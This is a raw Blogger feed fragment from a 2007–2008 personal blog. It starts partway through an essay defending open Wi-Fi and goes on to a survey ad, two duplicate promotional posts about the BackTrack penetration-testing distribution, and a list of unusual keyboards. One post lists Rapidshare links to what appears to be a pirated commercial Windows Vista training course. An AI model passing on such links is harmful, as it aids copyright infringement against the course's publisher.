pissy&lt;/a&gt; at people who exceed some secret bandwidth limit, this isn't a big risk either. The worst that will happen to you is that you'll have to find a new ISP.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;A company called &lt;a href="http://www.fon.com/en/"&gt;Fon&lt;/a&gt; has an &lt;a href="http://www.iht.com/articles/2006/01/30/business/wireless31.php"&gt;interesting approach&lt;/a&gt; to this problem. Fon wireless access points have two wireless networks: a secure one for you, and an open one for everyone else. You can configure your open network in either "Bill" or "Linus" mode: In the former, people pay you to use your network, and you have to pay to use any other Fon wireless network. In Linus mode, anyone can use your network, and you can use any other Fon wireless network for free. It's a really clever idea.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;Security is always a trade-off. I know people who rarely lock their front door, who drive in the rain (and, while using a cellphone) and who talk to strangers. In my opinion, securing my wireless network isn't worth it. And I appreciate everyone else who keeps an open wireless network, including all the coffee shops, bars and libraries I have visited in the past, the Dayton International Airport where I started writing this and the Four Points Sheraton where I finished. You all make the world a better place.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-2017867349988211925?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/2017867349988211925/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=2017867349988211925' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/2017867349988211925'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/2017867349988211925'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2008/01/steal-this-wi-fi.html' title='Steal This Wi-Fi'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-5409550513395428055</id><published>2007-12-23T03:05:00.001-08:00</published><updated>2007-12-23T03:05:49.772-08:00</updated><title type='text'></title><content type='html'>&lt;a href="http://www.AWSurveys.com/HomeMain.cfm?RefID=cuteboysmith"&gt;&lt;img src="http://www.AWSurveys.com/Pictures/AWS_ad1_300300.jpg" width="300" height="300"&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-5409550513395428055?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/5409550513395428055/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=5409550513395428055' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/5409550513395428055'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/5409550513395428055'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/12/blog-post.html' title=''/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-4573809700222717798</id><published>2007-12-23T02:27:00.000-08:00</published><updated>2007-12-23T02:29:51.716-08:00</updated><title type='text'></title><content type='html'>Windows Vista Administration and Support &lt;br&gt;19+ hours of Step-by-Step Video Training&lt;br&gt;70-620 Configuring Windows Vista Exam Coverage &lt;/b&gt;&lt;br&gt;&lt;img src="http://i13.tinypic.com/6qbjyc7.jpg" class="linked-image" border="0"&gt;&lt;br&gt;&lt;u&gt;&lt;b&gt;Package Contents - Here is what you get.... &lt;/b&gt;&lt;/u&gt;&lt;br&gt;&lt;u&gt;&lt;b&gt;More Info&lt;/b&gt;&lt;/u&gt;&lt;br&gt;&lt;!--c1--&gt;&lt;div class="codetop"&gt;CODE&lt;/div&gt;&lt;div class="codemain"&gt;&lt;!--ec1--&gt;http://www.trainsignal.com/index.asp?PageAction=VIEWPROD&amp;amp;ProdID=73&lt;!--c2--&gt;&lt;/div&gt;&lt;!--ec2--&gt;&lt;br&gt;1) 19+ Hours of Windows Vista Training Videos on CD[/u]&lt;br&gt;&lt;br&gt;You get 19+ Hours of Training covering Microsoft Windows Vista. "Get your Hands Dirty" with this Real World Training that is 100% Instructor Led! In this course Scott Skinger will lead you through Scenarios and Examples that will have you ready to tackle anything Windows Vista will throw at you.&lt;br&gt;&lt;br&gt;&lt;u&gt;2) 50+ Pages of the Instructor's Notes (PDF File on CD)&lt;/u&gt;&lt;br&gt;&lt;br&gt;These professionally organized notes work great as quick reference and give you the opportunity to add notes and information as you follow along with the Windows Vista Videos.&lt;br&gt;&lt;br&gt;&lt;u&gt;&lt;b&gt;Course Outline&lt;/b&gt;&lt;/u&gt;&lt;br&gt;&lt;!--c1--&gt;&lt;div class="codetop"&gt;CODE&lt;/div&gt;&lt;div class="codemain"&gt;&lt;!--ec1--&gt;Here are just SOME of the Topics we Cover in our&lt;br&gt;Windows Vista Training Videos:&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* Know Your Installation Options and How to Install Windows Vista(The Right Way!)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* Master Windows Vista's New User Interface and Navigation&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* Users &amp;amp; Groups Are the First Step to Securing Your Systems While Maximizing Performance - We'll Teach You the Ropes&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* Learn How Vista Can Be Utilized in a Networked Environment&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* Now More Than Ever Users Are Mobile - Understand Vista's New Mobile PC and Wireless Features&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* Keep Your Systems Fast and Clean With Vista's Disk Management Tools&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* Customize Windows Vista's Security to Your Needs as You Are Walked Through NTFS Permissions, Share Permissions, Security Programs and more&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* Internet Explorer 7 and Its New Security Features in Vista For a Safer Web Experience&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* Running Software in Vista Is Different Now Than Ever Before. Know What Your Systems Are Doing and How They're Doing It.&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* Need to Make Administering Your Systems Easier? We Cover All the Tools You Need to Speed Up Your Tasks: Performance Monitor, Event Viewer, Management Console, etc...&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* Learn the Intricacies of Installing New Hardware and Printers Within Vista&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* Backups are Important! Know How To Do Them Right in Vista&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* Master Windows Vista's New Group Policy Features&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;* ...This is Just the Beginning!!!&lt;!--c2--&gt;&lt;/div&gt;&lt;!--ec2--&gt;&lt;br&gt;&lt;u&gt;&lt;b&gt;Download&lt;/b&gt;&lt;/u&gt;&lt;br&gt;&lt;br&gt;&lt;u&gt;&lt;b&gt;CD 1&lt;/b&gt;&lt;/u&gt;&lt;br&gt;&lt;!--c1--&gt;&lt;div class="codetop"&gt;CODE&lt;/div&gt;&lt;div class="codemain"&gt;&lt;!--ec1--&gt;http://rapidshare.com/files/68260447/tsvista_d1.part1.rar&lt;br&gt;http://rapidshare.com/files/68255484/tsvista_d1.part2.rar&lt;br&gt;http://rapidshare.com/files/68443572/tsvista_d1.part3.rar&lt;br&gt;http://rapidshare.com/files/68466927/tsvista_d1.part4.rar&lt;br&gt;http://rapidshare.com/files/68484456/tsvista_d1.part5.rar&lt;!--c2--&gt;&lt;/div&gt;&lt;!--ec2--&gt;&lt;br&gt;&lt;br&gt;&lt;u&gt;&lt;b&gt;CD 2&lt;/b&gt;&lt;/u&gt;&lt;br&gt;&lt;!--c1--&gt;&lt;div class="codetop"&gt;CODE&lt;/div&gt;&lt;div class="codemain"&gt;&lt;!--ec1--&gt;http://rapidshare.com/files/68468275/tsvista_d2.part1.rar&lt;br&gt;http://rapidshare.com/files/68472455/tsvista_d2.part2.rar&lt;br&gt;http://rapidshare.com/files/68480760/tsvista_d2.part3.rar&lt;br&gt;http://rapidshare.com/files/68467897/tsvista_d2.part4.rar&lt;br&gt;http://rapidshare.com/files/68477910/tsvista_d2.part5.rar&lt;!--c2--&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-4573809700222717798?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/4573809700222717798/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=4573809700222717798' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4573809700222717798'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4573809700222717798'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/12/windows-vista-administration-and.html' title=''/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i13.tinypic.com/6qbjyc7_th.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-5481957944277960628</id><published>2007-12-23T00:20:00.001-08:00</published><updated>2007-12-23T00:22:41.291-08:00</updated><title type='text'>backtrack</title><content type='html'>&lt;img src="http://www.blogger.com/images/dragon_small.jpg" alt="dragon" class="floatRight border" height="112" width="150" /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;BackTrack is the most Top rated linux live distribution focused on&lt;br /&gt;penetration testing.&lt;br /&gt;With no installation whatsoever, the analysis platform is started&lt;br /&gt;directly from the CD-Rom and is fully accessible within minutes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It's evolved from the merge of the two wide spread distributions -&lt;br /&gt;&lt;b&gt;Whax&lt;/b&gt; and &lt;b&gt;Auditor Security Collection&lt;/b&gt;. By joining forces&lt;br /&gt;and replacing these distributions, BackTrack has gained massive&lt;br /&gt;popularity and was voted in 2006 as the #1 Security Live Distribution&lt;br /&gt;by insecure.org.&lt;br /&gt;Security professionals as well as new comers are using BackTrack as&lt;br /&gt;their favorite toolset all over the globe.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BackTrack has a long history and was based on many different linux&lt;br /&gt;distributions until it is now based on a Slackware linux distribution&lt;br /&gt;and the corresponding live-CD scripts by Tomas M. (www.slax.org) .&lt;br /&gt;Every package, kernel configuration and script is &lt;b&gt;optimized to be used by&lt;br /&gt;security penetration testers&lt;/b&gt;. Patches and automation have been added, applied&lt;br /&gt;or developed to provide a neat and ready-to-go environment.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After coming into a stable development procedure during the last&lt;br /&gt;releases and consolidating feedbacks and addition, the team was focused to&lt;br /&gt;support &lt;b&gt;more and newer hardware&lt;/b&gt; as well as provide &lt;b&gt;more flexibility and&lt;br /&gt;modularity&lt;/b&gt; by restructuring the build and maintenance processes. With the current&lt;br /&gt;version, most applications are built as individual modules which help&lt;br /&gt;to speed up the maintenance releases and fixes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Because Metasploit is one of the key tools for most analysts it is tightly&lt;br /&gt;integrated into BackTrack and both projects collaborate together to&lt;br /&gt;always provide an on-the-edge implementation of Metasploit within the&lt;br /&gt;BackTrack CD-Rom images or the upcoming remote-exploit.org distributed and&lt;br /&gt;maintained virtualization images (like VMWare images appliances).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Being superior while staying easy to use is key to a good security&lt;br /&gt;live cd. We took things a step further and &lt;b&gt;aligned BackTrack to penetration&lt;br /&gt;testing methodologies and assessment frameworks&lt;/b&gt; (ISSAF and OSSTMM). This will&lt;br /&gt;help our professional users during their daily reporting nightmares.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Currently BackTrack consists of &lt;b&gt;more than 300 different up-to-date&lt;br /&gt;tools&lt;/b&gt; which are logically structured according to the work flow of security&lt;br /&gt;professionals. This structure allows even newcomers to find the&lt;br /&gt;related tools to a certain task to be accomplished. New technologies and&lt;br /&gt;testing techniques are merged into BackTrack as soon as possible to keep it&lt;br /&gt;up-to-date.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;No other commercial or freely available analysis platform offers an&lt;br /&gt;equivalent level of usability with automatic configuration and focus&lt;br /&gt;on penetration testing&lt;/b&gt;&lt;h1&gt;&lt;b&gt;&lt;br /&gt;&lt;br /&gt;DOWNLOAD IT FROM HERE&lt;br /&gt;http://www.remote-exploit.org/backtrack_download.html&lt;/b&gt;&lt;/h1&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-5481957944277960628?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/5481957944277960628/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=5481957944277960628' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/5481957944277960628'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/5481957944277960628'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/12/backtrack_23.html' title='backtrack'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-4613175113341496871</id><published>2007-12-23T00:20:00.000-08:00</published><updated>2007-12-23T00:21:21.282-08:00</updated><title type='text'>backtrack</title><content type='html'>&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;   &lt;img src="images/dragon_small.jpg" alt="dragon" class="floatRight border" height="112" width="150"&gt;&lt;br /&gt;   &lt;br&gt;&lt;br /&gt;BackTrack is the most Top rated linux live distribution focused on&lt;br /&gt;penetration testing.&lt;br /&gt;With no installation whatsoever, the analysis platform is started&lt;br /&gt;directly from the CD-Rom and is fully accessible within minutes.&lt;br /&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;It's evolved from the merge of the two wide spread distributions -&lt;br /&gt;&lt;b&gt;Whax&lt;/b&gt; and &lt;b&gt;Auditor Security Collection&lt;/b&gt;. By joining forces &lt;br /&gt;and replacing these distributions, BackTrack has gained massive&lt;br /&gt;popularity and was voted in 2006 as the #1 Security Live Distribution &lt;br /&gt;by insecure.org.&lt;br /&gt;Security professionals as well as new comers are using BackTrack as&lt;br /&gt;their favorite toolset all over the globe.&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;BackTrack has a long history and was based on many different linux&lt;br /&gt;distributions until it is now based on a Slackware linux distribution&lt;br /&gt;and the corresponding live-CD scripts by Tomas M. (www.slax.org) . &lt;br /&gt;Every package, kernel configuration and script is &lt;b&gt;optimized to be used by&lt;br /&gt;security penetration testers&lt;/b&gt;. Patches and automation have been added, applied&lt;br /&gt;or developed to provide a neat and ready-to-go environment.&lt;br /&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;After coming into a stable development procedure during the last&lt;br /&gt;releases and consolidating feedbacks and addition, the team was focused to&lt;br /&gt;support &lt;b&gt;more and newer hardware&lt;/b&gt; as well as provide &lt;b&gt;more flexibility and&lt;br /&gt;modularity&lt;/b&gt; by restructuring the build and maintenance processes. With the current&lt;br /&gt;version, most applications are built as individual modules which help&lt;br /&gt;to speed up the maintenance releases and fixes.&lt;br /&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;Because Metasploit is one of the key tools for most analysts it is tightly&lt;br /&gt;integrated into BackTrack and both projects collaborate together to&lt;br /&gt;always provide an on-the-edge implementation of Metasploit within the&lt;br /&gt;BackTrack CD-Rom images or the upcoming remote-exploit.org distributed and&lt;br /&gt;maintained virtualization images (like VMWare images appliances).&lt;br /&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;Being superior while staying easy to use is key to a good security&lt;br /&gt;live cd. We took things a step further and &lt;b&gt;aligned BackTrack to penetration&lt;br /&gt;testing methodologies and assessment frameworks&lt;/b&gt; (ISSAF and OSSTMM). This will&lt;br /&gt;help our professional users during their daily reporting nightmares.&lt;br /&gt;&lt;br /&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;Currently BackTrack consists of &lt;b&gt;more than 300 different up-to-date&lt;br /&gt;tools&lt;/b&gt; which are logically structured according to the work flow of security&lt;br /&gt;professionals. This structure allows even newcomers to find the&lt;br /&gt;related tools to a certain task to be accomplished. New technologies and&lt;br /&gt;testing techniques are merged into BackTrack as soon as possible to keep it&lt;br /&gt;up-to-date.&lt;br /&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;b&gt;No other commercial or freely available analysis platform offers an&lt;br /&gt;equivalent level of usability with automatic configuration and focus&lt;br /&gt;on penetration testing&lt;h1&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32442176-4613175113341496871?l=shaileshh.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shaileshh.blogspot.com/feeds/4613175113341496871/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32442176&amp;postID=4613175113341496871' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4613175113341496871'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32442176/posts/default/4613175113341496871'/><link rel='alternate' type='text/html' href='http://shaileshh.blogspot.com/2007/12/backtrack.html' title='backtrack'/><author><name>SHAILESH KHACHANE</name><uri>http://www.blogger.com/profile/07695143871954665962</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32442176.post-5283552266032532062</id><published>2007-12-12T22:14:00.000-08:00</published><updated>2007-12-12T22:19:20.092-08:00</updated><title type='text'>coolest keyboards</title><content type='html'>&lt;h1&gt;&lt;a set="yes" linkindex="4" href="http://speedingcomputer.com/2007/12/coolest-and-weirdest-keyboards/" rel="bookmark" title="Permanent Link: The 25 Coolest (and Most Unconventional) Keyboards"&gt;The 25 Coolest (and Most Unconventional) Keyboards&lt;/a&gt;&lt;/h1&gt;&lt;br /&gt;&lt;br /&gt;   &lt;div class="entry"&gt;&lt;br /&gt;    &lt;p&gt;Keyboards come in all shapes and sizes, from the standard ten dollar gray board to something straight out of a science fiction movie.  Here’s a list of some of the coolest and strangest keyboards out there.&lt;/p&gt;&lt;br /&gt;&lt;ol&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="5" href="http://www.l3sys.com/keybd/keybd.html"&gt;The WristPC Keyboard&lt;/a&gt;: This keyboard is designed for “portable and wearable” computer applications, whatever that means.  &lt;a set="yes" linkindex="6" href="http://www.l3sys.com/keybd/keybd.html"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/wristpc.jpg" height="150" width="365"&gt; &lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="7" href="http://www.comfortkeyboard.com/"&gt;The Comfort Keyboard&lt;/a&gt;: This one can be split into three separate section, supposedly for added comfort. It also features key reprogramming and a programmable “rest period indicator.”&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;a set="yes" linkindex="8" href="http://www.comfortkeyboard.com/"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/comfortkeyboard.jpg" alt="comfortkeyboard.jpg"&gt;&lt;/a&gt;&lt;a linkindex="9" href="http://www.keybowl.com/"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="10" href="http://www.keybowl.com/"&gt;Orbitouch keyless keyboard&lt;/a&gt;:  This one is a little hard to explain.  It was designed for people with “repetitive stress injuries” like carpal tunnel.  As you can see, there are no keys.&lt;br&gt;&lt;br /&gt;&lt;a set="yes" linkindex="11" href="http://www.keybowl.com/"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/keyless1.jpg"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="12" href="http://www.thinkgeek.com/computing/input/5a7f/"&gt;The Roll-Up Keyboard&lt;/a&gt;: This standard 104 key keyboard takes portability to a new level while providing surprisingly good tactile feedback.&lt;br&gt;&lt;br /&gt;&lt;a set="yes" linkindex="13" href="http://www.thinkgeek.com/computing/input/5a7f/zoom/"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/rollup.jpg" height="150" width="365"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="14" href="http://www.engadget.com/photos/hands-on-with-optimus-maximus-at-last/501562/"&gt;The Optimus Maximus keyboard&lt;/a&gt;: Little &lt;strong&gt;OLED displays on each key&lt;/strong&gt; let you customize the layout. Probably the most talked about keyboard ever.&lt;br&gt;&lt;br /&gt;&lt;a set="yes" linkindex="15" href="http://www.engadget.com/photos/hands-on-with-optimus-maximus-at-last/501562/" target="_blank"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/optimus1.jpg" alt="Optimus Maximus"&gt;&lt;span id="more-141"&gt;&lt;/span&gt; &lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="16" href="http://www.datahand.com/products/proii.htm"&gt;DataHand Professional II&lt;/a&gt;:  Another Keyboard focused on ergonomics.  Is the normal keyboard really that uncomfortable?&lt;a set="yes" linkindex="17" href="http://www.datahand.com/products/proii.htm"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/erg.jpg"&gt; &lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="18" href="http://en.wikipedia.org/wiki/Apple_Adjustable_Keyboard"&gt;The Apple Adjustable Keyboard&lt;/a&gt;:  A pretty creative keyboard considering the 1992 release date.  It was designed to minimize carpal tunnel syndrome.&lt;br&gt;&lt;br /&gt;&lt;a set="yes" linkindex="19" href="http://en.wikipedia.org/wiki/Apple_Adjustable_Keyboard"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/apple.jpg"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="20" href="http://www.frogpad.com/"&gt;The Frogpad&lt;/a&gt;: A keyboard meant to be used with one hand.  Supposedly you could reach 40 words per minute with a days practice. &lt;a set="yes" linkindex="21" href="http://www.frogpad.com/"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/frogboard.jpg"&gt; &lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="22" href="http://www.handykey.com/site/twiddler2.html"&gt;The Twiddler 2&lt;/a&gt;: This is a one handed, hand held, keyboard.  It wins the prize for most uncomfortable keyboard to use.&lt;a set="yes" linkindex="23" href="http://www.handykey.com/site/twiddler2.html"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/twiddler.jpg"&gt; &lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="24" href="http://www.we-make-money-not-art.com/archives/008041.php"&gt;The Tablecloth Keyboard&lt;/a&gt;:  Designed by German designer Tonia Welter.  Ideal for those who take every meal in front of the computer. &lt;a set="yes" linkindex="25" href="http://www.combimouse.com/index.htm"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/tablekeyboard.jpg"&gt; &lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="26" href="http://www.combimouse.com/index.htm"&gt;The Combimouse Keyboard&lt;/a&gt;: This Australian company decided to do the impossible: Combine the keyboard and the mouse!&lt;a set="yes" linkindex="27" href="http://www.apple.com/keyboard/"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/keyboardmouse.jpg"&gt; &lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="28" href="http://www.apple.com/keyboard/"&gt;The Apple Keyboard&lt;/a&gt;:  Quite possibly the most beautiful keyboard ever crafted.  Comes in wired and wireless varieties. &lt;a set="yes" linkindex="29" href="http://www.apple.com/keyboard/"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/apple2.jpg"&gt; &lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="30" href="http://www.amazon.com/gp/product/B000ALZMJS?ie=UTF8&amp;amp;tag=satellitescom-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=B000ALZMJS"&gt;The Virtual Laser Keyboard&lt;/a&gt;&lt;img src="http://www.assoc-amazon.com/e/ir?t=satellitescom-20&amp;amp;l=as2&amp;amp;o=1&amp;amp;a=B000ALZMJS" style="border: medium none  ! important; margin: 0px ! important;" border="0" height="1" width="1"&gt;: You’ll definitely turns a few heads with this one.  This “keyboard” allows the user to type on almost any flat surface.&lt;br&gt;&lt;br /&gt;&lt;a set="yes" linkindex="31" href="http://www.amazon.com/gp/product/B000ALZMJS?ie=UTF8&amp;amp;tag=satellitescom-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=B000ALZMJS"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/laserboard.jpg" height="150" width="365"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="32" href="http://ergobilities.com/ProductDetail.asp?style=71958&amp;amp;source=google&amp;amp;adgroup=duraflex&amp;amp;adtext=dishwashersafe&amp;amp;gclid=CMq9kbr5lpACFRIUagodi0KH7Q"&gt;The Washable Waterproof Keyboard&lt;/a&gt;:  Do you ever get the sudden urge to type underwater?  If so, this keyboard is for you! &lt;a set="yes" linkindex="33" href="http://ergobilities.com/ProductDetail.asp?style=71958&amp;amp;source=google&amp;amp;adgroup=duraflex&amp;amp;adtext=dishwashersafe&amp;amp;gclid=CMq9kbr5lpACFRIUagodi0KH7Q"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/underwater.jpg"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="34" href="http://www.amazon.com/Kinesis-Freestyle-Solo-Keyboard/dp/B000RB8OA0/ref=sr_1_6?ie=UTF8&amp;amp;s=electronics&amp;amp;qid=1197057973&amp;amp;sr=8-6"&gt;The Kinesis Freestyle Solo Keyboard&lt;/a&gt;:  Basically, the fine people at Kinesis decided to split a keyboard in half and sell if for twice as much.  Well Done!&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;a set="yes" linkindex="35" href="http://www.amazon.com/Kinesis-Freestyle-Solo-Keyboard/dp/B000RB8OA0/ref=sr_1_6?ie=UTF8&amp;amp;s=electronics&amp;amp;qid=1197057973&amp;amp;sr=8-6"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/split.jpg" height="150" width="365"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="36" href="http://safetype.stores.yahoo.net/"&gt;The SafeType Keyboard&lt;/a&gt;: This one is supposedly more comfortable to use than a regular keyboard.  However, it’ll probably take a long time getting used to.&lt;br&gt;&lt;br /&gt;&lt;a set="yes" linkindex="37" href="http://safetype.stores.yahoo.net/"&gt;&lt;img src="http://speedingcomputer.com/wp-content/uploads/2007/12/safetype.jpg"&gt;&lt;/a&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;a linkindex="38" href="http://www.maltron.com/maltron-kbd-dual.html"&gt;Maltron’s Ergonomic Keyboard&lt;/a&gt;: This 